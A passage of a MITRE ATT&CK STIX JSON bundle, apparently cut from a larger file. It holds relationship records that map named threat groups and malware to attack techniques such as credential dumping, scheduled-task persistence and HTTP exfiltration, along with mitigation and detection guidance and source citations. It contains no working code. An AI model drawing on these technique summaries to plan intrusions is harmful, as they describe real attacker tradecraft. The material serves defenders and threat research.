server.(Citation: MSTIC NOBELIUM Mar 2021)(Citation: FireEye SUNSHUTTLE Mar 2021) ","relationship_type":"uses","source_ref":"malware--5c747acd-47f0-4c5a-b9e5-213541fc01e0","target_ref":"attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ffc25c4-3939-40df-841c-91059c6879d4","type":"relationship","created":"2021-05-05T15:52:15.799Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Check Point APT34 April 2021","url":"https://research.checkpoint.com/2021/irans-apt34-returns-with-an-updated-arsenal/","description":"Check Point. (2021, April 8). Iran’s APT34 Returns with an Updated Arsenal. Retrieved May 5, 2021."}],"modified":"2021-10-13T13:30:46.939Z","description":"[OilRig](https://attack.mitre.org/groups/G0049) has used .doc file extensions to mask malicious executables.(Citation: Check Point APT34 April 2021)","relationship_type":"uses","source_ref":"intrusion-set--4ca1929c-7d64-4aab-b849-badbfc0c760d","target_ref":"attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2ffd84e6-b76d-4c0c-9c76-ef8e55446546","created":"2022-09-30T17:10:26.786Z","revoked":false,"external_references":[{"source_name":"NCSC GCHQ Small Sieve Jan 2022","description":"NCSC GCHQ. (2022, January 27). Small Sieve Malware Analysis Report. Retrieved August 22, 2022.","url":"https://www.ncsc.gov.uk/files/NCSC-Malware-Analysis-Report-Small-Sieve.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-30T17:10:26.786Z","description":"[Small Sieve](https://attack.mitre.org/software/S1035) has the ability to download files.(Citation: NCSC GCHQ Small Sieve Jan 2022)","relationship_type":"uses","source_ref":"malware--ff41b9b6-4c1d-407b-a7e2-835109c8dbc5","target_ref":"attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ffde834-36f9-463d-93c4-77048f020cf9","type":"relationship","created":"2019-06-20T18:55:36.315Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-10-08T15:59:44.851Z","description":"Develop and publish policies that define acceptable information to be stored in repositories.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--d28ef391-8ed4-45dc-bc4a-2f43abf54416","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--2ffe5a2c-4f67-4254-badc-6b905d34621f","created":"2022-06-15T18:14:43.527Z","x_mitre_version":"0.1","x_mitre_deprecated":false,"revoked":false,"description":"Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system.","modified":"2022-06-15T18:14:43.527Z","relationship_type":"mitigates","source_ref":"course-of-action--20a2baeb-98c2-4901-bad7-dc62d0a03dea","target_ref":"attack-pattern--3975dbb5-0e1e-4f5b-bae1-cf2ab84b46dc","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--2fff97fc-650c-4db5-97d4-c36db70077dd","created":"2020-08-27T17:29:05.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cycraft Chimera April 2020","description":"Cycraft. (2020, April 15). APT Group Chimera - APT Operation Skeleton key Targets Taiwan Semiconductor Vendors. Retrieved August 24, 2020..","url":"https://cycraft.com/download/CyCraft-Whitepaper-Chimera_V4.1.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-12T19:23:16.570Z","description":"[Chimera](https://attack.mitre.org/groups/G0114) has used a valid account to maintain persistence via scheduled task.(Citation: Cycraft Chimera April 2020)","relationship_type":"uses","source_ref":"intrusion-set--8c1f0187-0826-4320-bddc-5f326cfcfe2c","target_ref":"attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2fff9b06-61f5-41f5-8cef-210485eaa8b2","type":"relationship","created":"2020-03-19T23:11:54.943Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"GitHub LaZagne Dec 2018","url":"https://github.com/AlessandroZ/LaZagne","description":"Zanni, A. (n.d.). The LaZagne Project !!!. Retrieved December 14, 2018."}],"modified":"2020-03-19T23:11:54.943Z","description":"[LaZagne](https://attack.mitre.org/software/S0349) can perform credential dumping from LSA secrets to obtain account and password information.(Citation: GitHub LaZagne Dec 2018)","relationship_type":"uses","source_ref":"tool--b76b2d94-60e4-4107-a903-4a3a7622fb3b","target_ref":"attack-pattern--1ecfdab8-7d59-4c98-95d4-dc41970f57fc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3007089b-0559-4f7d-bacd-5c4435761ad9","created":"2024-01-02T13:44:20.872Z","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-01-02T13:44:20.872Z","description":"Monitor for changes made to conditional access policies used by SaaS identity providers and internal IaaS identity and access management systems.","relationship_type":"detects","source_ref":"x-mitre-data-component--e52d89f9-1710-4708-88a5-cbef77c4cd5e","target_ref":"attack-pattern--ceaeb6d8-95ee-4da2-9d42-dc6aa6ca43ae","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--300b191d-6832-48ae-ad82-040f066cac08","created":"2024-02-16T17:01:17.345Z","revoked":false,"external_references":[{"source_name":"NCSC-NL COATHANGER Feb 2024","description":"Dutch Military Intelligence and Security Service (MIVD) & Dutch General Intelligence and Security Service (AIVD). (2024, February 6). Ministry of Defense of the Netherlands uncovers COATHANGER, a stealthy Chinese FortiGate RAT. Retrieved February 7, 2024.","url":"https://www.ncsc.nl/binaries/ncsc/documenten/publicaties/2024/februari/6/mivd-aivd-advisory-coathanger-tlp-clear/TLP-CLEAR+MIVD+AIVD+Advisory+COATHANGER.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-02-16T17:01:17.345Z","description":"[COATHANGER](https://attack.mitre.org/software/S1105) uses ICMP for transmitting configuration information to and from its command and control server.(Citation: NCSC-NL COATHANGER Feb 2024)","relationship_type":"uses","source_ref":"malware--0c242cc5-58d3-4fe3-a866-b00a4b6fb817","target_ref":"attack-pattern--c21d5a77-d422-4a69-acd7-2c53c1faa34b","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--300fe039-5361-41e2-857f-5a8a311824d9","type":"relationship","created":"2021-04-12T20:07:50.423Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Anomali MUSTANG PANDA October 2019","url":"https://www.anomali.com/blog/china-based-apt-mustang-panda-targets-minority-groups-public-and-private-sector-organizations","description":"Anomali Threat Research. (2019, October 7). China-Based APT Mustang Panda Targets Minority Groups, Public and Private Sector Organizations. Retrieved April 12, 2021."},{"source_name":"Secureworks BRONZE PRESIDENT December 2019","url":"https://www.secureworks.com/research/bronze-president-targets-ngos","description":"Counter Threat Unit Research Team. (2019, December 29). BRONZE PRESIDENT Targets NGOs. Retrieved April 13, 2021."},{"source_name":"McAfee Dianxun March 2021","url":"https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-dianxun.pdf","description":"Roccia, T., Seret, T., Fokker, J. (2021, March 16). Technical Analysis of Operation Dianxun. Retrieved April 13, 2021."}],"modified":"2021-04-13T20:27:52.349Z","description":"[Mustang Panda](https://attack.mitre.org/groups/G0129) has created a scheduled task to execute additional malicious software, as well as maintain persistence.(Citation: Anomali MUSTANG PANDA October 2019)(Citation: Secureworks BRONZE PRESIDENT December 2019)(Citation: McAfee Dianxun March 2021)","relationship_type":"uses","source_ref":"intrusion-set--420ac20b-f2b9-42b8-aa1a-6d4b72895ca4","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3015c5fe-c6da-4de5-a352-87a90722a975","type":"relationship","created":"2022-03-30T14:26:51.833Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.833Z","description":"Monitor Registry key additions to HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Active Setup\\Installed Components\\.\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing the Active Setup Registry locations and startup folders.(Citation: TechNet Autoruns) Suspicious program execution as startup programs may show up as outlier processes that have not been seen before when compared against historical data.","source_ref":"x-mitre-data-component--7f70fae7-a68d-4730-a83a-f260b9606129","target_ref":"attack-pattern--22522668-ddf6-470b-a027-9d6866679f67","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3017cf15-f6a8-4281-8c74-9dd8f7c2666f","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT FALLCHILL Nov 2017","description":"US-CERT. (2017, November 22). Alert (TA17-318A): HIDDEN COBRA – North Korean Remote Administration Tool: FALLCHILL. Retrieved December 7, 2017.","url":"https://www.us-cert.gov/ncas/alerts/TA17-318A"}],"modified":"2020-03-27T20:45:20.320Z","description":"[FALLCHILL](https://attack.mitre.org/software/S0181) can modify file or directory timestamps.(Citation: US-CERT FALLCHILL Nov 2017)","relationship_type":"uses","source_ref":"malware--fece06b7-d4b1-42cf-b81a-5323c917546e","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30180ece-4504-4b6a-9182-5a2fbe3292df","type":"relationship","created":"2019-06-05T17:05:57.765Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Fidelis Cybersecurity. (2013, June 28). Fidelis Threat Advisory #1009: \"njRAT\" Uncovered. Retrieved June 4, 2019.","url":"https://www.threatminer.org/_reports/2013/fta-1009---njrat-uncovered-1.pdf","source_name":"Fidelis njRAT June 2013"},{"description":"Pascual, C. (2018, November 27). AutoIt-Compiled Worm Affecting Removable Media Delivers Fileless Version of BLADABINDI/njRAT Backdoor. Retrieved June 4, 2019.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/autoit-compiled-worm-affecting-removable-media-delivers-fileless-version-of-bladabindi-njrat-backdoor/","source_name":"Trend Micro njRAT 2018"}],"modified":"2020-08-03T19:28:18.329Z","description":"[njRAT](https://attack.mitre.org/software/S0385) will attempt to detect if the victim system has a camera during the initial infection. [njRAT](https://attack.mitre.org/software/S0385) can also detect any removable drives connected to the system.(Citation: Fidelis njRAT June 2013)(Citation: Trend Micro njRAT 2018)","relationship_type":"uses","source_ref":"malware--d906e6f7-434c-44c0-b51a-ed50af8f7945","target_ref":"attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3018ef54-d98c-4958-bc31-dc6b45b67a05","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:32.600Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) uses netstat -ano to search for specific IP address ranges.(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--301de16e-3829-4fb0-b217-dcdfca7398c9","type":"relationship","created":"2017-05-31T21:33:27.034Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:14.686Z","description":"(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"tool--7fcbc4e8-1989-441f-9ac5-e7b6ff5806f1","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3024f916-b25c-4dd8-aab3-4d681b335da1","type":"relationship","created":"2019-06-21T14:35:00.080Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-26T23:10:45.618Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware can be used to mitigate activity at the network level.","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3029d06e-7a13-4d17-bad5-ce3198bce2ef","type":"relationship","created":"2019-09-27T13:27:07.065Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Fysbis Dr Web Analysis","description":"Doctor Web. (2014, November 21). Linux.BackDoor.Fysbis.1. Retrieved December 7, 2017.","url":"https://vms.drweb.com/virus/?i=4276269"}],"modified":"2019-10-14T19:21:25.512Z","description":"[Fysbis](https://attack.mitre.org/software/S0410) can collect information about running processes.(Citation: Fysbis Dr Web Analysis) ","relationship_type":"uses","source_ref":"malware--50d6688b-0985-4f3d-8cbe-0c796b30703b","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--302fc02c-2b0a-4e00-b1a3-9059cd971c76","type":"relationship","created":"2022-03-30T14:26:51.863Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.863Z","description":"Monitor Registry writes to HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver or HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver as they pertain to print processor installations.","source_ref":"x-mitre-data-component--da85d358-741a-410d-9433-20d6269a6170","target_ref":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--303221b5-f6eb-4fa2-b9d6-dd6d856dd79e","created":"2024-03-06T17:56:19.729Z","revoked":false,"external_references":[{"source_name":"Volexity Ivanti Zero-Day Exploitation January 2024","description":"Meltzer, M. et al. (2024, January 10). Active Exploitation of Two Zero-Day Vulnerabilities in Ivanti Connect Secure VPN. Retrieved February 27, 2024.","url":"https://www.volexity.com/blog/2024/01/10/active-exploitation-of-two-zero-day-vulnerabilities-in-ivanti-connect-secure-vpn/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-06T17:56:19.729Z","description":"During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used SSH for lateral movement.(Citation: Volexity Ivanti Zero-Day Exploitation January 2024)","relationship_type":"uses","source_ref":"campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9","target_ref":"attack-pattern--2db31dcd-54da-405d-acef-b9129b816ed6","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--303fb7ec-36b8-43a1-9dfe-e0c72ff574f9","type":"relationship","created":"2022-03-30T14:26:51.855Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.855Z","description":"Monitor executed commands and arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.","source_ref":"x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0","target_ref":"attack-pattern--1e9eb839-294b-48cc-b0d3-c45555a2a004","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--303ff42e-09fa-49ab-9fa3-420aedb090dc","created":"2023-02-14T18:24:05.218Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MalwareBytes WoodyRAT Aug 2022","description":"MalwareBytes Threat Intelligence Team. (2022, August 3). Woody RAT: A new feature-rich malware spotted in the wild. Retrieved December 6, 2022.","url":"https://www.malwarebytes.com/blog/threat-intelligence/2022/08/woody-rat-a-new-feature-rich-malware-spotted-in-the-wild"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-23T22:44:32.941Z","description":"[Woody RAT](https://attack.mitre.org/software/S1065) can retrieve the following information from an infected machine: OS, architecture, computer name, OS build version, environment variables, and storage drives.(Citation: MalwareBytes WoodyRAT Aug 2022)","relationship_type":"uses","source_ref":"malware--3bc7e862-5610-4c02-9c48-15b2e2dc1ddb","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30496669-0d01-4855-b566-6d5bfd9c97c1","type":"relationship","created":"2021-04-26T20:02:14.115Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"wardle evilquest partii","url":"https://objective-see.com/blog/blog_0x60.html","description":"Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021."},{"source_name":"reed thiefquest ransomware analysis","url":"https://blog.malwarebytes.com/mac/2020/07/mac-thiefquest-malware-may-not-be-ransomware-after-all/","description":"Thomas Reed. (2020, July 7). Mac ThiefQuest malware may not be ransomware after all. Retrieved March 22, 2021."}],"modified":"2021-04-26T20:02:14.115Z","description":"[ThiefQuest](https://attack.mitre.org/software/S0595) uploads files via unencrypted HTTP. (Citation: wardle evilquest partii)(Citation: reed thiefquest ransomware analysis)","relationship_type":"uses","source_ref":"malware--727afb95-3d0f-4451-b297-362a43909923","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--304c0297-8d9e-41ee-a5c0-f8bd33bdcd2a","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 Gorgon Group Aug 2018","description":"Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/"}],"modified":"2019-07-25T14:56:46.694Z","description":"[Gorgon Group](https://attack.mitre.org/groups/G0078) malware can leverage the Windows API call, CreateProcessA(), for execution.(Citation: Unit 42 Gorgon Group Aug 2018)","relationship_type":"uses","source_ref":"intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--304f5c1b-7cfa-4c2a-b7a2-e4957da603b1","type":"relationship","created":"2020-03-19T22:10:50.454Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cybereason Oceanlotus May 2017","url":"https://www.cybereason.com/blog/operation-cobalt-kitty-apt","description":"Dahan, A. (2017, May 24). OPERATION COBALT KITTY: A LARGE-SCALE APT IN ASIA CARRIED OUT BY THE OCEANLOTUS GROUP. Retrieved November 5, 2018."},{"source_name":"Cybereason Cobalt Kitty 2017","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf"}],"modified":"2020-06-19T21:36:32.167Z","description":"[APT32](https://attack.mitre.org/groups/G0050) used Outlook Credential Dumper to harvest credentials stored in Windows registry.(Citation: Cybereason Oceanlotus May 2017)(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--30565d66-2743-4e39-81ce-bc861149ce1e","created":"2022-04-14T14:29:38.196Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Tomiris](https://attack.mitre.org/software/S0671) can use HTTP to establish C2 communications.(Citation: Kaspersky Tomiris Sep 2021)","modified":"2022-04-16T18:49:29.089Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--3056fa10-d4a3-4830-96b7-987b10b5ae70","type":"relationship","created":"2020-09-24T14:35:41.341Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2020-10-09T16:08:00.483Z","description":"[FatDuke](https://attack.mitre.org/software/S0512) can turn itself on or off at random intervals.(Citation: ESET Dukes October 2019)","relationship_type":"uses","source_ref":"malware--54a01db0-9fab-4d5f-8209-53cef8425f4a","target_ref":"attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--3057f2a9-b2a2-47cf-b528-2b46907c8359","created":"2024-09-05T22:34:03.168Z","revoked":false,"external_references":[{"source_name":"DFIR_Sodinokibi_Ransomware","description":"DFIR. (2021, March 29). Sodinokibi (aka REvil) Ransomware. Retrieved July 22, 2024.","url":"https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-05T22:34:03.168Z","description":"[IcedID](https://attack.mitre.org/software/S0483) has exfiltrated collected data via HTTPS.(Citation: DFIR_Sodinokibi_Ransomware)","relationship_type":"uses","source_ref":"malware--5147ef15-1cae-4707-8ea1-bee8d98b7f1d","target_ref":"attack-pattern--8e350c1d-ac79-4b5c-bd4e-7476d7e84ec5","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--305ecc72-e820-44cb-ab52-593ccca814ff","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Zscaler Kasidet","description":"Yadav, A., et al. (2016, January 29). Malicious Office files dropping Kasidet and Dridex. Retrieved March 24, 